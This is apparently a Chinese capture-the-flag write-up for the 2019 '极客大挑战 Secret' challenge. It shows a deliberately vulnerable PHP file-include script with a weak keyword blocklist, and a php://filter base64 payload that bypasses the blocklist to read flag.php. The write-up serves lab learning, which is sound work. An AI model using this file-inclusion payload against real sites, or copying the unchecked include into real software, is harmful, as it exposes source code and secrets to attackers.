极客大挑战 2019 Secret

打开题目 发现小㊙ 查看一下源码 得到文件

1
Archive_room.php

avatar
点击SECRET

avatar
看来要用BP抓包了

通过抓包确实得到一个action.php的文件
avatar

放到Reapter中 发包 得到文件secr3t.php

访问得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

审计之后 构造payload:

1
secr3t.php?file=flag.php

发现不太行

使用伪协议读取

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64 解码得到flag